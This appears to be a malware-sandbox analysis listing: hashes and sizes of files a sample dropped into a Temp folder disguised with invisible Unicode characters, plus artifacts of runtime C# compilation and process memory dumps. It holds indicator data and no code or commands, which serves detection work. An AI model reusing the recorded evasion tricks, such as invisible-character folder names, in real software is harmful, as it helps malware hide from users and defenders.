C:\Users\Admin\AppData\Local\Temp\‍‍ ‎ \Common Files\Desktop\EnterProtect.pdf
Filesize
878KB

MD5
6b4ad7644a00f15a0a2d43042d234d65

SHA1
a5d020e59529e7dcc8e95ebde9e229bd20de9e10

SHA256
29f9ff7401656a276b8f88c97b5b9fac88c7238348cee477c326485da1c0236e

SHA512
89b415660aef01abe7faa75ac1c33287ff560abc4c8a8268d1ecf95a315a038924eb92759d8998b13a09cfa27f80d391c59ab1acfa9dc218091ef2e0d4f7aca0

Download Submit
C:\Users\Admin\AppData\Local\Temp\‍‍ ‎ \Common Files\Desktop\ShowBackup.otf
Filesize
405KB

MD5
9f37c16c9293905a2c2f54734b6595fa

SHA1
841b4ae9a5bb88560c1b59d1ea4a8730b0c0f7a0

SHA256
da69721e9f85f4fd5a8c7b9bd88bab6e51ea7ffea1ba1227523879e73306c171

SHA512
d2cfdc1ae8774eab7f3462c7958c46035cfa0c574b768574bc58615b3acefce54a06caa776c3e843144b274fbb6f52dd75b39da1d6f99343911ef1961f8c154e

Download Submit
C:\Users\Admin\AppData\Local\Temp\‍‍ ‎ \Common Files\Desktop\UndoImport.png
Filesize
979KB

MD5
a5789dbae533ac05346251c506a62f11

SHA1
534b05961d77a09ee2aab0c17cd345b0a424e69b

SHA256
31c4e3cf1c5eaa9d650268e28b3a5d4d8076c60dafaad78b4f9544c251442fde

SHA512
df4b51b3b33e590fb9dde31368c84664236ebd57b8e0a53826bb25b289ecb9a5184070668e749a4ec3653297d156592f2bacbc610e5a509e4259651336935f17

Download Submit
C:\Users\Admin\AppData\Local\Temp\‍‍ ‎ \Common Files\Documents\Are.docx
Filesize
11KB

MD5
a33e5b189842c5867f46566bdbf7a095

SHA1
e1c06359f6a76da90d19e8fd95e79c832edb3196

SHA256
5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

SHA512
f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

Download Submit
C:\Users\Admin\AppData\Local\Temp\‍‍ ‎ \Common Files\Documents\Files.docx
Filesize
11KB

MD5
4a8fbd593a733fc669169d614021185b

SHA1
166e66575715d4c52bcb471c09bdbc5a9bb2f615

SHA256
714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42

SHA512
6b2ebbbc34cd821fd9b3d7711d9cdadd8736412227e191883e5df19068f8118b7c80248eb61cc0a2f785a4153871a6003d79de934254b2c74c33b284c507a33b

Download Submit
C:\Users\Admin\AppData\Local\Temp\‍‍ ‎ \Common Files\Documents\OpenConvert.xls
Filesize
613KB

MD5
446b929294663b3fa9b7e0bab02eaf57

SHA1
fcde2d4ad9fec5e49d3f479aab01bcf880f508a4

SHA256
0f94b0b1e38bcb05a19c2c1d34d75301309c5dfdc5a79d5abdf235d53b87d78b

SHA512
d6763c0b37f3a75f2c76b6c92221fdbf7949a6a2a2d3315c6b5872853f8e759cfb8a3ea320f38ff070861d81f4a83798667507f95b3dd50be7e4d09c8ef5666a

Download Submit
C:\Users\Admin\AppData\Local\Temp\‍‍ ‎ \Common Files\Documents\Opened.docx
Filesize
11KB

MD5
bfbc1a403197ac8cfc95638c2da2cf0e

SHA1
634658f4dd9747e87fa540f5ba47e218acfc8af2

SHA256
272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6

SHA512
b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\‍‍ ‎ \Common Files\Documents\OptimizeClear.csv
Filesize
695KB

MD5
bb6b9cf5913f497b4710b56c39f81f75

SHA1
e184bcbffffd9f50e00b601c04034944fb525299

SHA256
3ce603362a674f4a0abe9e808d4103ead02f108a3bccd83d6dc21b2659b9ea5d

SHA512
2f19ad4a39529805db2129792a2cc940855850cb26574c9e10e853d4af6f26721fcf75908701dfb01aa875ea942f41bc86f68390dcc7bcdc1692e0c0530ed16d

Download Submit
C:\Users\Admin\AppData\Local\Temp\‍‍ ‎ \Common Files\Documents\Recently.docx
Filesize
11KB

MD5
3b068f508d40eb8258ff0b0592ca1f9c

SHA1
59ac025c3256e9c6c86165082974fe791ff9833a

SHA256
07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7

SHA512
e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32

Download Submit
C:\Users\Admin\AppData\Local\Temp\‍‍ ‎ \Common Files\Documents\RestoreGrant.txt
Filesize
1.2MB

MD5
0df60ccbf268b528f441d0cdeaa04c69

SHA1
cf98228ae3a02f6e3b9e2e518e7b916d79179425

SHA256
8caba8441e6e97b938a71f8ac05dc908f9ad27cebd031ada782c22c3169553f9

SHA512
e6f2efe68c1c1614a9649f64e4446f66bea24aa480a67506db9ecb8efda19fd96b2019802fac94c7840ed88ccc923a8ded44a29cd93ea2866544202378e83ff2

Download Submit
C:\Users\Admin\AppData\Local\Temp\‍‍ ‎ \Common Files\Documents\These.docx
Filesize
11KB

MD5
87cbab2a743fb7e0625cc332c9aac537

SHA1
50f858caa7f4ac3a93cf141a5d15b4edeb447ee7

SHA256
57e3b0d22fa619da90237d8bcf8f922b142c9f6abf47efc5a1f5b208c4d3f023

SHA512
6b678f0dd0030806effe6825fd52a6a30b951e0c3dcf91dfd7a713d387aa8b39ec24368e9623c463360acba5e929e268f75ce996526c5d4485894b8ac6b2e0fa

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\3qnznjrl\3qnznjrl.0.cs
Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\3qnznjrl\3qnznjrl.cmdline
Filesize
607B

MD5
bfe8941112b54e88f0bd413a27aab848

SHA1
de4215b1566d67a8aa14011bf472dac83c564551

SHA256
be8ebe95933ead52ef68d3bcd45a0a940e1e2d32f2c8adee8897d16193a53bdf

SHA512
86a8580d2c20115a2f616b1f00cf087b48c5684c6331de8e9d14794a41e7fd6dec7b4fa50dffbd4c5d9c69a2e762129955e1f65d68528371f7e5f945318fca69

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\3qnznjrl\CSC1A20B045A77F4110A73EF1D86C7BB1D6.TMP
Filesize
652B

MD5
70f5b06bccb6346fbcc798b7c6070ade

SHA1
68328e170bb1f1b06b43139fc508921c8dc474c3

SHA256
d47531f1419bdd2e45455ee14420bd324d98ea695da8a6828fb9931121830583

SHA512
4d65789324158f0da51c22d41d9db467abfff2755de33b9707aa1e7819b9134c0fd84498859abb6e8908f79cd013a243cfcdfbe88ac430effd70cceb8ba3fd1c

Download Submit
memory/220-83-0x0000018052310000-0x0000018052332000-memory.dmp

Filesize
136KB

Download
memory/3888-207-0x0000024C79D40000-0x0000024C79D48000-memory.dmp

Filesize
32KB

Download
memory/4808-25-0x00007FFAC1400000-0x00007FFAC19E9000-memory.dmp

Filesize
5.9MB

Download
memory/4808-70-0x00007FFAC1400000-0x00007FFAC19E9000-memory.dmp

Filesize
5.9MB

Download
memory/4808-316-0x00007FFAC0FD0000-0x00007FFAC1088000-memory.dmp

Filesize
736KB

Download
memory/4808-75-0x00007FFAD0320000-0x00007FFAD0334000-memory.dmp

Filesize
80KB

Download
memory/4808-72-0x0000028BE6BD0000-0x0000028BE6F49000-memory.dmp

Filesize
3.5MB

Download
memory/4808-268-0x00007FFAD0390000-0x00007FFAD03B3000-memory.dmp

Filesize
140KB

Download
memory/4808-73-0x00007FFAC0FD0000-0x00007FFAC1088000-memory.dmp

Filesize
736KB

Download
memory/4808-317-0x00007FFAC0C50000-0x00007FFAC0FC9000-memory.dmp

Filesize
3.5MB

Download
memory/4808-71-0x00007FFAC0C50000-0x00007FFAC0FC9000-memory.dmp

Filesize
3.5MB

Download
memory/4808-66-0x00007FFAD0340000-0x00007FFAD036E000-memory.dmp

Filesize
184KB

Download
memory/4808-64-0x00007FFAD60F0000-0x00007FFAD60FD000-memory.dmp

Filesize
52KB

Download
memory/4808-63-0x00007FFAD0370000-0x00007FFAD0389000-memory.dmp

Filesize
100KB

Download
memory/4808-321-0x00007FFAD0370000-0x00007FFAD0389000-memory.dmp

Filesize
100KB

Download
memory/4808-57-0x00007FFAD4040000-0x00007FFAD4059000-memory.dmp

Filesize
100KB

Download
memory/4808-58-0x00007FFAD0390000-0x00007FFAD03B3000-memory.dmp

Filesize
140KB

Download
memory/4808-54-0x00007FFAD4060000-0x00007FFAD408D000-memory.dmp

Filesize
180KB

Download
memory/4808-42-0x00007FFAD6470000-0x00007FFAD647F000-memory.dmp

Filesize
60KB

Download
memory/4808-30-0x00007FFAD5230000-0x00007FFAD5253000-memory.dmp

Filesize
140KB

Download
memory/4808-80-0x00007FFAC0730000-0x00007FFAC084C000-memory.dmp

Filesize
1.1MB

Download
memory/4808-285-0x00007FFACFC50000-0x00007FFACFDC0000-memory.dmp

Filesize
1.4MB

Download
memory/4808-60-0x00007FFACFC50000-0x00007FFACFDC0000-memory.dmp

Filesize
1.4MB

Download
memory/4808-78-0x00007FFAD5220000-0x00007FFAD522D000-memory.dmp

Filesize
52KB

Download
memory/4808-77-0x00007FFAD5230000-0x00007FFAD5253000-memory.dmp

Filesize
140KB

Download
memory/4808-315-0x00007FFAD0340000-0x00007FFAD036E000-memory.dmp

Filesize
184KB

Download
memory/4808-306-0x00007FFAC1400000-0x00007FFAC19E9000-memory.dmp

Filesize
5.9MB

Download
memory/4808-307-0x00007FFAD5230000-0x00007FFAD5253000-memory.dmp

Filesize
140KB

Download
memory/4808-322-0x00007FFAC1400000-0x00007FFAC19E9000-memory.dmp

Filesize
5.9MB

Download
memory/4808-347-0x00007FFAC0C50000-0x00007FFAC0FC9000-memory.dmp

Filesize
3.5MB

Download
memory/4808-348-0x0000028BE6BD0000-0x0000028BE6F49000-memory.dmp

Filesize
3.5MB

Download
memory/4808-346-0x00007FFAC0FD0000-0x00007FFAC1088000-memory.dmp

Filesize
736KB

Download
memory/4808-345-0x00007FFAD0340000-0x00007FFAD036E000-memory.dmp

Filesize
184KB

Download
memory/4808-344-0x00007FFAD0370000-0x00007FFAD0389000-memory.dmp

Filesize
100KB

Download
memory/4808-343-0x00007FFACFC50000-0x00007FFACFDC0000-memory.dmp

Filesize
1.4MB

Download
memory/4808-342-0x00007FFAD0390000-0x00007FFAD03B3000-memory.dmp

Filesize
140KB

Download
memory/4808-341-0x00007FFAD4040000-0x00007FFAD4059000-memory.dmp

Filesize
100KB

Download
memory/4808-340-0x00007FFAD4060000-0x00007FFAD408D000-memory.dmp

Filesize
180KB

Download
memory/4808-339-0x00007FFAD6470000-0x00007FFAD647F000-memory.dmp

Filesize
60KB

Download
memory/4808-338-0x00007FFAD5230000-0x00007FFAD5253000-memory.dmp

Filesize
140KB

Download
memory/4808-337-0x00007FFAD60F0000-0x00007FFAD60FD000-memory.dmp

Filesize
52KB

Download
memory/4808-336-0x00007FFAC0730000-0x00007FFAC084C000-memory.dmp

Filesize
1.1MB

Download
memory/4808-335-0x00007FFAD5220000-0x00007FFAD522D000-memory.dmp

Filesize
52KB

Download
memory/4808-334-0x00007FFAD0320000-0x00007FFAD0334000-memory.dmp

Filesize
80KB

Download